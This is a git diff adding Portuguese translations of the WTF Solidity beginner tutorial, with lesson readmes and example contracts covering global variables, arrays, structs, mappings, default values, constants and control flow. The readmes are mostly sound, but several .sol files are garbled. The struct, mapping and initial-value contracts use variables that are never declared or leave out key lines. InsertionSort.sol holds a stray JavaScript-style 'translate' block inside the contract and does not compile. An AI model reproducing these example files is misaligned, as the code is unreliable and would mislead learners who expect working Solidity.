numeroBloco, dados); +} +``` + +No exemplo acima, utilizamos três variáveis globais comuns: `msg.sender`, `block.number` e `msg.data`, que representam o endereço do remetente da mensagem, a altura do bloco atual e os dados da mensagem, respectivamente. Abaixo seguem algumas variáveis globais comuns. Para uma lista completa, consulte este [link](https://learnblockchain.cn/docs/solidity/units-and-global-variables.html#special-variables-and-functions): + +- `blockhash(uint blockNumber)`: (`bytes32`) Hash de um bloco específico - apenas válido para aproximadamente os últimos 256 blocos, excluindo o bloco atual. +- `block.coinbase`: (`address payable`) Endereço do minerador do bloco atual. +- `block.gaslimit`: (`uint`) Limite de gas do bloco atual. +- `block.number`: (`uint`) Número do bloco atual. +- `block.timestamp`: (`uint`) Timestamp do bloco atual, em segundos desde a "unix epoch". +- `gasleft()`: (`uint256`) Gas restante. +- `msg.data`: (`bytes calldata`) Dados completos da chamada. +- `msg.sender`: (`address payable`) Remetente da mensagem (caller atual). +- `msg.sig`: (`bytes4`) Primeiros quatro bytes dos dados da chamada (identificador da função). +- `msg.value`: (`uint`) Valor em wei enviado na transação atual. + +**Exemplo:** + +![5-4.png](./img/5-4.png) + +### 4. Variáveis Globais - Unidades de Ether e Unidades de Tempo + +#### Unidades de Ether + +Não existem pontos flutuantes no Solidity, e o ponto é representado como `0`, para garantir a precisão das transações e evitar perdas de precisão. O uso das unidades de Ether ajuda a evitar erros de cálculo e facilita o manuseio de transações de criptomoedas no contrato. + +- `wei`: 1 +- `gwei`: 1e9 = 1000000000 +- `ether`: 1e18 = 1000000000000000000 + +```solidity +function weiUnit() external pure returns(uint) { + assert(1 wei == 1e0); + assert(1 wei == 1); + return 1 wei; +} + +function gweiUnit() external pure returns(uint) { + assert(1 gwei == 1e9); + assert(1 gwei == 1000000000); + return 1 gwei; +} + +function etherUnit() external pure returns(uint) { + assert(1 ether == 1e18); + assert(1 ether == 1000000000000000000); + return 1 ether; +} +``` + +**Exemplo:** + +![5-5.png](./img/5-5.png) + +#### Unidades de Tempo + +É comum definir uma operação que deve ser concluída em uma semana dentro de um contrato, ou que um evento ocorrerá um mês após. Isso garante a precisão da execução do contrato, independentemente de possíveis erros técnicos. Portanto, as unidades de tempo são um conceito importante no Solidity, melhorando a legibilidade e manutenção do contrato. + +- `seconds`: 1 +- `minutes`: 60 segundos = 60 +- `hours`: 60 minutos = 3600 +- `days`: 24 horas = 86400 +- `weeks`: 7 dias = 604800 + +```solidity +function secondsUnit() external pure returns(uint) { + assert(1 seconds == 1); + return 1 seconds; +} + +function minutesUnit() external pure returns(uint) { + assert(1 minutes == 60); + assert(1 minutes == 60 seconds); + return 1 minutes; +} + +function hoursUnit() external pure returns(uint) { + assert(1 hours == 3600); + assert(1 hours == 60 minutes); + return 1 hours; +} + +function daysUnit() external pure returns(uint) { + assert(1 days == 86400); + assert(1 days == 24 hours); + return 1 days; +} + +function weeksUnit() external pure returns(uint) { + assert(1 weeks == 604800); + assert(1 weeks == 7 days); + return 1 weeks; +} +``` + +**Exemplo:** + +![5-6.png](./img/5-6.png) + +## Conclusão + +Nesta aula, apresentamos os tipos de referência, a localização dos dados e o escopo das variáveis no Solidity. O foco principal foi nos termos `storage`, `memory` e `calldata` e suas aplicações. Esses termos foram introduzidos para economizar espaço de armazenamento limitado on-chain e reduzir o consumo de `gas`. Na próxima aula, abordaremos arrays nos tipos de referência. + diff --git a/Languages/pt-br/06_ArrayAndStruct/ArrayAndStruct.sol b/Languages/pt-br/06_ArrayAndStruct/ArrayAndStruct.sol new file mode 100644 index 000000000..e21fa9d99 --- /dev/null +++ b/Languages/pt-br/06_ArrayAndStruct/ArrayAndStruct.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract ArrayTypes { + + // Array de comprimento fixo + uint[8] array1; + bytes1[5] array2; + address[100] array3; + + // Array de comprimento variável + uint[] array4; + bytes1[] array5; + address[] array6; + bytes array7; + + // Inicializando um Array de comprimento variável + uint[] array8 = new uint[](5); + bytes array9 = new bytes(9); + // Atribuindo valores a um array de comprimento variável + function initArray() external pure returns(uint[] memory){ + uint[] memory x = new uint[](3); + x[0] = 1; + x[1] = 3; + x[2] = 4; + return(x); + } + function arrayPush() public returns(uint[] memory){ + uint[2] memory a = [uint(1),2]; + array4 = a; + array4.push(3); + return array4; + } +} + +pragma solidity ^0.8.21; +contract StructTypes { + // Estrutura Struct + struct Student{ + uint256 id; + uint256 score; + } + // Inicialize uma estrutura de dados chamada "student" + // Atribuindo valores a uma estrutura + // Método 1: Criar uma referência struct para storage dentro da função + function initStudent1() external{ + // atribuir uma cópia do estudante + _student.id = 11; + _student.score = 100; + } + + // Método 2: Referenciando diretamente a struct da variável de estado + function initStudent2() external{ + student.id = 1; + student.score = 80; + } + + // Método 3: Construtor funcional + function initStudent3() external { + student = Student(3, 90); + } + + // Método 4: chave valor + function initStudent4() external { + student = Student({id: 4, score: 60}); + } +} + +pragma solidity ^0.8.21; +contract EnumTypes { + // Comprar, Manter, Vender + enum ActionSet { Buy, Hold, Sell } + // Criar uma variável enum chamada "action" + ActionSet action = ActionSet.Buy; + + // enum pode ser convertido explicitamente para uint + function enumToUint() external view returns(uint){ + return uint(action); + } +} diff --git a/Languages/pt-br/06_ArrayAndStruct/img/6-1.png b/Languages/pt-br/06_ArrayAndStruct/img/6-1.png new file mode 100644 index 000000000..9d839fbe1 Binary files /dev/null and b/Languages/pt-br/06_ArrayAndStruct/img/6-1.png differ diff --git a/Languages/pt-br/06_ArrayAndStruct/img/6-2.png b/Languages/pt-br/06_ArrayAndStruct/img/6-2.png new file mode 100644 index 000000000..0681f87ba Binary files /dev/null and b/Languages/pt-br/06_ArrayAndStruct/img/6-2.png differ diff --git a/Languages/pt-br/06_ArrayAndStruct/img/6-3.png b/Languages/pt-br/06_ArrayAndStruct/img/6-3.png new file mode 100644 index 000000000..b76fbf89d Binary files /dev/null and b/Languages/pt-br/06_ArrayAndStruct/img/6-3.png differ diff --git a/Languages/pt-br/06_ArrayAndStruct/img/6-4.png b/Languages/pt-br/06_ArrayAndStruct/img/6-4.png new file mode 100644 index 000000000..470e887a8 Binary files /dev/null and b/Languages/pt-br/06_ArrayAndStruct/img/6-4.png differ diff --git a/Languages/pt-br/06_ArrayAndStruct/img/6-5.png b/Languages/pt-br/06_ArrayAndStruct/img/6-5.png new file mode 100644 index 000000000..72248a633 Binary files /dev/null and b/Languages/pt-br/06_ArrayAndStruct/img/6-5.png differ diff --git a/Languages/pt-br/06_ArrayAndStruct/readme.md b/Languages/pt-br/06_ArrayAndStruct/readme.md new file mode 100644 index 000000000..0c45a8354 --- /dev/null +++ b/Languages/pt-br/06_ArrayAndStruct/readme.md @@ -0,0 +1,157 @@ +# WTF Solidity Introduction: 6. Tipos de Referência, arrays, structs + +Recentemente tenho revisitado o Solidity para reforçar os detalhes e estou escrevendo uma "Introdução Super Simples ao Solidity" para ajudar os iniciantes (os experts em programação podem procurar outros tutoriais), com atualizações semanais de 1 a 3 palestras. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são open source no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta palestra, vamos apresentar dois tipos de variáveis importantes em Solidity: arrays (arrays) e structs (estruturas). + +## Arrays (arrays) + +Arrays (arrays) são um tipo de variável comum no Solidity, usada para armazenar um conjunto de dados (números inteiros, bytes, endereços, etc.). Os arrays podem ser de comprimento fixo ou de comprimento variável: + +- Arrays de comprimento fixo: o comprimento do array é especificado ao declarar. Declarados no formato `T[k]`, onde `T` é o tipo dos elementos e `k` é o comprimento, por exemplo: + + ```solidity + // Array de comprimento fixo + uint[8] array1; + bytes1[5] array2; + address[100] array3; + ``` + +- Arrays de comprimento variável (arrays dinâmicos): o comprimento do array não é especificado ao declarar. Declarados no formato `T[]`, onde `T` é o tipo dos elementos, por exemplo: + + ```solidity + // Array de comprimento variável + uint[] array4; + bytes1[] array5; + address[] array6; + bytes array7; + ``` + + **Nota**: `bytes` é um caso especial, é um array, mas não utiliza `[ ]`. Além disso, não é possível declarar um array de um único byte usando `byte[]`, você pode usar `bytes` ou `bytes1[]` em vez disso. `bytes` é mais econômico em termos de gas do que `bytes1[]`. + +### Regras para criar arrays + +Existem algumas regras a serem seguidas ao criar arrays no Solidity: + +- Para `arrays dinâmicos` com modificadores `memory`, você pode usar o operador `new` para criar, mas é necessário declarar o comprimento e uma vez declarado, o comprimento não pode ser alterado. Por exemplo: + + ```solidity + // Arrays dinâmicos de memória + uint[] memory array8 = new uint[](5); + bytes memory array9 = new bytes(9); + ``` + +- Arrays literais são expressões de array escritas entre colchetes para inicializar o array, e o tipo de cada elemento é determinado pelo tipo do primeiro elemento. Por exemplo, em `[1,2,3]`, todos os elementos são do tipo `uint8`, porque no Solidity, se um valor não tem um tipo especificado, o tipo padrão é o tipo mínimo desse tipo, e o tipo mínimo para `uint` é `uint8`. Enquanto em `[uint(1),2,3]`, todos os elementos são do tipo `uint`, porque o primeiro elemento definiu o tipo como `uint`. + + No exemplo abaixo, se a conversão para `uint` não for feita no array passado para a função `g()`, um erro será gerado. + + ```solidity + // SPDX-License-Identifier: GPL-3.0 + pragma solidity >=0.4.16 <0.9.0; + + contract C { + function f() public pure { + g([uint(1), 2, 3]); + } + function g(uint[3] memory _data) public pure { + // ... + } + } + ``` + +- Se você está criando um array dinâmico, você precisa atribuir os elementos um por um. + + ```solidity + uint[] memory x = new uint[](3); + x[0] = 1; + x[1] = 3; + x[2] = 4; + ``` + +### Membros de um array + +- `length`: Um array possui um membro `length` que indica o número de elementos. O comprimento de um array em memória é fixo após a criação. +- `push()`: Arrays dinâmicos têm o membro `push()`, que permite adicionar um novo elemento `0` ao final do array e retorna uma referência para o novo elemento. +- `push(x)`: Arrays dinâmicos possuem o membro `push(x)`, que permite adicionar o elemento `x` ao final do array. +- `pop()`: Arrays dinâmicos possuem o membro `pop()`, que remove o último elemento do array. + +**Exemplo:** + +![6-1.png](./img/6-1.png) + +## Structs (estruturas) + +O Solidity suporta a definição de novos tipos através da construção de structs. Os elementos de uma struct podem ser de tipos primitivos ou de tipos de referência; structs podem ser elementos de arrays ou mapeamentos. A criação de uma struct é feita da seguinte forma: + +```solidity +// Struct +struct Student { + uint256 id; + uint256 score; +} + +Student student; // Inicialização de uma struct Student +``` + +Há quatro maneiras de atribuir valores a uma struct: + +```solidity +// Atribuir valores a uma struct +// Método 1: Criar uma referência struct storage dentro da função +function initStudent1() external { + Student storage _student = student; // atribuir uma cópia da struct student + _student.id = 11; + _student.score = 100; +} +``` + +**Exemplo:** + +![6-2.png](./img/6-2.png) + +```solidity +// Método 2: Atribuir diretamente a struct de variável de estado +function initStudent2() external { + student.id = 1; + student.score = 80; +} +``` + +**Exemplo:** + +![6-3.png](./img/6-3.png) + +```solidity +// Método 3: Construtor +function initStudent3() external { + student = Student(3, 90); +} +``` + +**Exemplo:** + +![6-4.png](./img/6-4.png) + +```solidity +// Método 4: Chave-valor +function initStudent4() external { + student = Student({id: 4, score: 60}); +} +``` + +**Exemplo:** + +![6-5.png](./img/6-5.png) + +## Conclusão + +Nesta palestra, apresentamos os conceitos básicos de arrays (arrays) e structs (estruturas) em Solidity. Na próxima palestra, abordaremos mapas (mappings) em Solidity. + diff --git a/Languages/pt-br/07_Mapping/Mapping.sol b/Languages/pt-br/07_Mapping/Mapping.sol new file mode 100644 index 000000000..3892bb2f3 --- /dev/null +++ b/Languages/pt-br/07_Mapping/Mapping.sol @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract Mapping { + // mapeando o ID para o endereço + // Mapeamento de pares de moedas, de endereço para endereço + + // Regra 1. _KeyType não pode ser personalizado. O exemplo abaixo resultará em um erro. + // Definimos uma estrutura Struct + // struct Aluno{ + // uint256 id; + // uint256 score; + // + // mapping(Struct => uint) public testVar; + + function writeMap (uint _Key, address _Value) public{ + idToAddress[_Key] = _Value; + } +} diff --git a/Languages/pt-br/07_Mapping/img/7-1.jpg b/Languages/pt-br/07_Mapping/img/7-1.jpg new file mode 100644 index 000000000..ad8212f19 Binary files /dev/null and b/Languages/pt-br/07_Mapping/img/7-1.jpg differ diff --git a/Languages/pt-br/07_Mapping/img/7-2.jpg b/Languages/pt-br/07_Mapping/img/7-2.jpg new file mode 100644 index 000000000..2fb04783c Binary files /dev/null and b/Languages/pt-br/07_Mapping/img/7-2.jpg differ diff --git a/Languages/pt-br/07_Mapping/img/7-3.jpg b/Languages/pt-br/07_Mapping/img/7-3.jpg new file mode 100644 index 000000000..2d9aa5b6b Binary files /dev/null and b/Languages/pt-br/07_Mapping/img/7-3.jpg differ diff --git a/Languages/pt-br/07_Mapping/readme.md b/Languages/pt-br/07_Mapping/readme.md new file mode 100644 index 000000000..def37d65b --- /dev/null +++ b/Languages/pt-br/07_Mapping/readme.md @@ -0,0 +1,76 @@ +# WTF Introdução básica à Solidity: 7. Tipo de mapeamento + +Recentemente tenho revisitado o Solidity para consolidar alguns detalhes e estou escrevendo uma "Introdução básica à Solidity WTF" para iniciantes (programadores experientes devem procurar outros tutoriais). Serão disponibilizadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidades: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e tutorial estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta aula, vamos apresentar o tipo de mapeamento (`mapping`), uma estrutura de dados no Solidity que armazena pares chave-valor, semelhante a uma tabela hash. + +## Mapeamento (Mapping) + +Em um mapeamento, é possível consultar um valor correspondente a uma chave, por exemplo: consultar o endereço da carteira de uma pessoa através de seu `id`. + +A sintaxe para declarar um mapeamento é `mapping(_TipoChave => _TipoValor)`, onde `_TipoChave` e `_TipoValor` são os tipos de variáveis para chave e valor, respectivamente. Exemplos: + +```solidity +mapping(uint => address) public idParaEndereco; // mapeamento de id para endereço +mapping(address => address) public parDePermuta; // mapeamento de pares, endereço para endereço +``` + +## Regras dos mapeamentos + +- **Regra 1**: O tipo de `_TipoChave` em um mapeamento só pode ser um tipo de valor embutido no Solidity, como `uint`, `address`, etc., não sendo possível utilizar tipos de estruturas personalizadas. Já o `_TipoValor` pode ser um tipo definido pelo usuário. O exemplo a seguir resultará em um erro, pois o `_TipoChave` utiliza uma estrutura personalizada: + + ```solidity + // Definimos uma estrutura Student + struct Aluno { + uint256 id; + uint256 pontuacao; + } + mapping(Aluno => uint) public testeVar; + ``` + +- **Regra 2**: Os mapeamentos devem ser armazenados na posição de `storage`, podendo ser utilizados em variáveis de estado de contrato, variáveis `storage` em funções e nos parâmetros de funções de biblioteca (ver [exemplo](https://github.com/ethereum/solidity/issues/4635)). Não é possível utilizar mapeamentos para parâmetros ou resultados de funções públicas, pois os mapeamentos representam um tipo de relação (par chave-valor). + +- **Regra 3**: Se um mapeamento for declarado como `public`, o Solidity criará automaticamente uma função `getter` para permitir a consulta do valor correspondente à chave. + +- **Regra 4**: Para adicionar novos pares chave-valor a um mapeamento, a sintaxe é `_Var[_Chave] = _Valor`, onde `_Var` é o nome da variável de mapeamento, `_Chave` e `_Valor` são os valores do novo par chave-valor a serem adicionados. Exemplo: + + ```solidity + function escreverMapeamento(uint _Chave, address _Valor) public { + idParaEndereco[_Chave] = _Valor; + } + ``` + +## Princípios dos mapeamentos + +- **Princípio 1**: Os mapeamentos não armazenam informações sobre as chaves, nem possuem informações sobre o tamanho. + +- **Princípio 2**: Os mapeamentos utilizam o `keccak256(abi.encodePacked(chave, slot))` como offset para acessar o valor, onde `slot` é a posição do slot em que a variável do mapeamento está definida. + +- **Princípio 3**: Como o Ethereum define todo o espaço não utilizado como 0, os valores das chaves não atribuídas são os valores padrão de cada tipo, por exemplo, o valor padrão de `uint` é 0. + +## Verificação no Remix (utilizando `Mapping.sol` como exemplo) + +- Implantação do exemplo de mapeamento 1 + + ![7-1](./img/7-1.jpg) + +- Estado inicial do exemplo do mapeamento 2 + + ![7-2](./img/7-2.jpg) + +- Par chave-valor do exemplo de mapeamento 3 + + ![7-3](./img/7-3.jpg) + +## Conclusão + +Nesta aula, aprendemos sobre o uso de tabelas hash (mapeamentos) no Solidity. Com isso, já cobrimos todos os tipos comuns de variáveis, e a próxima etapa será aprender sobre fluxo de controle com `if-else`, `while`, entre outros. + diff --git a/Languages/pt-br/08_InitialValue/InitialValue.sol b/Languages/pt-br/08_InitialValue/InitialValue.sol new file mode 100644 index 000000000..4221d5723 --- /dev/null +++ b/Languages/pt-br/08_InitialValue/InitialValue.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract InitialValue { + // Tipos de Valor + // false + // "" + // 0 + // 0 + // 0x0000000000000000000000000000000000000000 + + enum ActionSet { Buy, Hold, Sell} + // O primeiro elemento 0 + + // internal equação em branco + // external equação em branco + + // Tipos de Referência + // Todos os membros definidos como seus valores padrão do array estático [0,0,0,0,0,0,0,0] + // `[]` + // Mapeamento com todos os elementos em seus valores padrão + // Todos os membros da estrutura são definidos como seus valores padrão 0, 0 + struct Student{ + uint256 id; + uint256 score; + } + Student public student; + + // delete operador + bool public _bool2 = true; + function d() external { + // delete fará com que _bool2 retorne ao valor padrão, false + } +} diff --git a/Languages/pt-br/08_InitialValue/img/8-1.png b/Languages/pt-br/08_InitialValue/img/8-1.png new file mode 100644 index 000000000..ba1cb113e Binary files /dev/null and b/Languages/pt-br/08_InitialValue/img/8-1.png differ diff --git a/Languages/pt-br/08_InitialValue/img/8-2.png b/Languages/pt-br/08_InitialValue/img/8-2.png new file mode 100644 index 000000000..1b77b5105 Binary files /dev/null and b/Languages/pt-br/08_InitialValue/img/8-2.png differ diff --git a/Languages/pt-br/08_InitialValue/readme.md b/Languages/pt-br/08_InitialValue/readme.md new file mode 100644 index 000000000..c469a3a10 --- /dev/null +++ b/Languages/pt-br/08_InitialValue/readme.md @@ -0,0 +1,92 @@ +# WTF Introdução Básica ao Solidity: 8. Valores Iniciais de Variáveis + +Recentemente, tenho revisado meus conhecimentos de Solidity para reforçar detalhes e também escrever um "WTF Introdução Básica ao Solidity", para ser usado por iniciantes (os programadores experientes podem buscar outro tutorial). Atualizo de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutorial estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +## Valores Iniciais de Variáveis + +No Solidity, as variáveis declaradas mas não atribuídas têm seu valor inicial ou padrão. Nesta lição, vamos abordar os valores iniciais das variáveis mais comuns. + +### Valores Iniciais de Tipos de Dados + +- `boolean`: `false` +- `string`: `""` +- `int`: `0` +- `uint`: `0` +- `enum`: o primeiro elemento do enum +- `address`: `0x0000000000000000000000000000000000000000` (ou `address(0)`) +- `function` + - `internal`: função vazia + - `external`: função vazia + +Podemos verificar se os valores iniciais acima estão corretos usando a função `getter` de variáveis `public`: + +```solidity +bool public _bool; // false +string public _string; // "" +int public _int; // 0 +uint public _uint; // 0 +address public _address; // 0x0000000000000000000000000000000000000000 + +enum ActionSet { Buy, Hold, Sell} +ActionSet public _enum; // o índice 0 corresponde ao primeiro elemento Buy + +function fi() internal{} // função interna vazia +function fe() external{} // função externa vazia +``` + +### Valores Iniciais de Tipos de Referência + +- Mapeamento `mapping`: todos os elementos são os valores padrão do `mapping` +- Estrutura `struct`: a estrutura com todos os membros definidos como valores padrão +- Array `array` + - Array dinâmico: `[]` + - Array estático (de comprimento fixo): a array estática com todos os membros definidos como valores padrão + +Podemos usar a função `getter` de variáveis `public` para verificar se os valores iniciais acima estão corretos: + +```solidity +// Tipos de Referência +uint[8] public _staticArray; // array estática com todos os membros definidos como valores padrão [0,0,0,0,0,0,0,0] +uint[] public _dynamicArray; // `[]` +mapping(uint => address) public _mapping; // todos os elementos são os valores padrão do mapping +// Estrutura com todos os membros definidos como valores padrão 0, 0 +struct Student{ + uint256 id; + uint256 score; +} +Student public student; +``` + +### Operador `delete` + +`delete a` redefine o valor da variável `a` para seu valor inicial. + +```solidity +// Operador delete +bool public _bool2 = true; +function d() external { + delete _bool2; // delete redefine o valor de _bool2 para o padrão, false +} +``` + +## Verificação no remix + +- Implante o contrato e verifique os valores iniciais dos tipos de dados e de referência + ![8-1.png](./img/8-1.png) + +- Valores padrão após a operação `delete` para tipos de dados e de referência + + ![8-2.png](./img/8-2.png) + +## Conclusão + +Nesta lição, abordamos os valores iniciais das variáveis no Solidity. Quando uma variável é declarada sem atribuição, seu valor padrão é atribuído. Os valores iniciais variam de acordo com o tipo de variável, e o operador `delete` pode ser usado para redefinir o valor de uma variável para o padrão. + diff --git a/Languages/pt-br/09_Constant/Constant.sol b/Languages/pt-br/09_Constant/Constant.sol new file mode 100644 index 000000000..620e4d844 --- /dev/null +++ b/Languages/pt-br/09_Constant/Constant.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract Constant { + // As constantes devem ser inicializadas no momento da declaração e não podem ser alteradas posteriormente. + uint256 public constant CONSTANT_NUM = 10; + string public constant CONSTANT_STRING = "0xAA"; + bytes public constant CONSTANT_BYTES = "WTF"; + address public constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000; + + // As variáveis imutáveis podem ser inicializadas no construtor e não podem ser alteradas posteriormente. + uint256 public immutable IMMUTABLE_NUM = 9999999999; + address public immutable IMMUTABLE_ADDRESS; + uint256 public immutable IMMUTABLE_BLOCK; + uint256 public immutable IMMUTABLE_TEST; + + // Utilizando o construtor para inicializar variáveis imutáveis, portanto é possível utilizar + constructor(){ + IMMUTABLE_ADDRESS = address(this); + IMMUTABLE_BLOCK = block.number; + IMMUTABLE_TEST = test(); + } + + function test() public pure returns(uint256){ + uint256 what = 9; + return(what); + } +} diff --git a/Languages/pt-br/09_Constant/img/9-1.png b/Languages/pt-br/09_Constant/img/9-1.png new file mode 100644 index 000000000..1541cf4a9 Binary files /dev/null and b/Languages/pt-br/09_Constant/img/9-1.png differ diff --git a/Languages/pt-br/09_Constant/img/9-2.png b/Languages/pt-br/09_Constant/img/9-2.png new file mode 100644 index 000000000..8707dcd00 Binary files /dev/null and b/Languages/pt-br/09_Constant/img/9-2.png differ diff --git a/Languages/pt-br/09_Constant/img/9-3.png b/Languages/pt-br/09_Constant/img/9-3.png new file mode 100644 index 000000000..07d587354 Binary files /dev/null and b/Languages/pt-br/09_Constant/img/9-3.png differ diff --git a/Languages/pt-br/09_Constant/readme.md b/Languages/pt-br/09_Constant/readme.md new file mode 100644 index 000000000..2ce6135a6 --- /dev/null +++ b/Languages/pt-br/09_Constant/readme.md @@ -0,0 +1,76 @@ +# WTF Introdução Simples ao Solidity: 9. Constante `constant` e `immutable` + +Recentemente, tenho revisado o Solidity para consolidar os detalhes e escrever uma "Introdução Simples ao Solidity" para os novatos (os mestres da programação podem procurar outros tutoriais). Serão publicadas de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta lição, apresentaremos dois palavras-chave relacionadas a constantes no Solidity: `constant` (constante) e `immutable` (imutável). Quando essas palavras-chave são utilizadas na declaração de variáveis de estado, os valores não podem ser alterados após a inicialização. Isso melhora a segurança do contrato e economiza `gas`. + +Além disso, somente variáveis numéricas podem ser declaradas como `constant` e `immutable`; `string` e `bytes` podem ser declarados como `constant`, mas não como `immutable`. + +## constant e immutable + +### constant + +As variáveis `constant` devem ser inicializadas no momento da declaração e não podem mais ser modificadas. Tentar alterar essas variáveis resultará em erro de compilação. + +``` solidity +// Variáveis constantes devem ser inicializadas no momento da declaração e não podem ser alteradas posteriormente +uint256 constant CONSTANT_NUM = 10; +string constant CONSTANT_STRING = "0xAA"; +bytes constant CONSTANT_BYTES = "WTF"; +address constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000; +``` + +### immutable + +As variáveis `immutable` podem ser inicializadas durante a declaração ou no construtor, tornando-as mais flexíveis. + +``` solidity +// Variáveis immutable podem ser inicializadas no constructor e não podem mais ser alteradas +uint256 public immutable IMMUTABLE_NUM = 9999999999; +address public immutable IMMUTABLE_ADDRESS; +uint256 public immutable IMMUTABLE_BLOCK; +uint256 public immutable IMMUTABLE_TEST; +``` + +Você pode usar variáveis globais como `address(this)`, `block.number` ou funções personalizadas para inicializar variáveis `immutable`. No exemplo abaixo, usamos a função `test()` para inicializar `IMMUTABLE_TEST` com o valor `9`: + +``` solidity +// Inicializa variáveis immutable no constructor e pode ser usado +constructor(){ + IMMUTABLE_ADDRESS = address(this); + IMMUTABLE_BLOCK = block.number; + IMMUTABLE_TEST = test(); +} + +function test() public pure returns(uint256){ + uint256 what = 9; + return(what); +} +``` + +## Verificação no remix + +1. Após implantar o contrato, você pode obter os valores previamente inicializados das variáveis `constant` e `immutable` usando a função `getter` no remix. + + ![9-1.png](./img/9-1.png) + +2. Após a inicialização da variável `constant`, tentar alterar seu valor resultará em erro de compilação `TypeError: Cannot assign to a constant variable.`. + + ![9-2.png](./img/9-2.png) + +3. Após a inicialização da variável `immutable`, tentar alterar seu valor resultará em erro de compilação `TypeError: Immutable state variable already initialized.`. + + ![9-3.png](./img/9-3.png) + +## Conclusão + +Nesta lição, apresentamos duas palavras-chave no Solidity, `constant` (constante) e `immutable` (imutável), para manter variáveis que não devem mudar, inalteradas. Essa prática não apenas economiza `gas`, mas também aumenta a segurança do contrato. + diff --git a/Languages/pt-br/10_InsertionSort/InsertionSort.sol b/Languages/pt-br/10_InsertionSort/InsertionSort.sol new file mode 100644 index 000000000..d58d0b50f --- /dev/null +++ b/Languages/pt-br/10_InsertionSort/InsertionSort.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract InsertionSort { + // if else + + if (text.includes('zh')) { + text = translate(text, 'zh', 'pt-br'); + } else { + text = text; + } + } + + // for loop + function forLoopTest() public pure returns(uint256){ + uint sum = 0; + for(uint i = 0; i < 10; i++){ + sum += i; + } + return(sum); + } + + // enquanto + function whileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + while(i < 10){ + sum += i; + i++; + } + return(sum); + } + + // do-while + function doWhileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + do{ + sum += i; + i++; + }while(i < 10); + return(sum); + } + + // Operador ternário/condicional + function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){ + // retornar o máximo entre x e y + return x >= y ? x: y; + } + + + // Inserção de classificação versão errada + function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i-1; + while( (j >= 0) && (temp < a[j])){ + a[j+1] = a[j]; + j--; + } + a[j+1] = temp; + } + return(a); + } + + // Inserção de ordenação versão correta + function insertionSort(uint[] memory a) public pure returns(uint[] memory) { + // observe que uint não pode receber valores negativos + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i; + while( (j >= 1) && (temp < a[j-1])){ + a[j] = a[j-1]; + j--; + } + a[j] = temp; + } + return(a); + } +} diff --git a/Languages/pt-br/10_InsertionSort/img/10-1.jpg b/Languages/pt-br/10_InsertionSort/img/10-1.jpg new file mode 100644 index 000000000..9bf041c84 Binary files /dev/null and b/Languages/pt-br/10_InsertionSort/img/10-1.jpg differ diff --git a/Languages/pt-br/10_InsertionSort/readme.md b/Languages/pt-br/10_InsertionSort/readme.md new file mode 100644 index 000000000..c8603c5a1 --- /dev/null +++ b/Languages/pt-br/10_InsertionSort/readme.md @@ -0,0 +1,161 @@ +# WTF Introdução Simples ao Solidity: 10. Fluxo de Controle, Implementando Ordenação por Inserção em Solidity + +Recentemente, tenho estado a reestudar Solidity para consolidar alguns detalhes e estou a escrever uma "Introdução Simples ao Solidity" para iniciantes (programadores avançados podem preferir outros tutoriais). Vou atualizar 1-3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- +Nesta lição, vamos discutir o fluxo de controle em 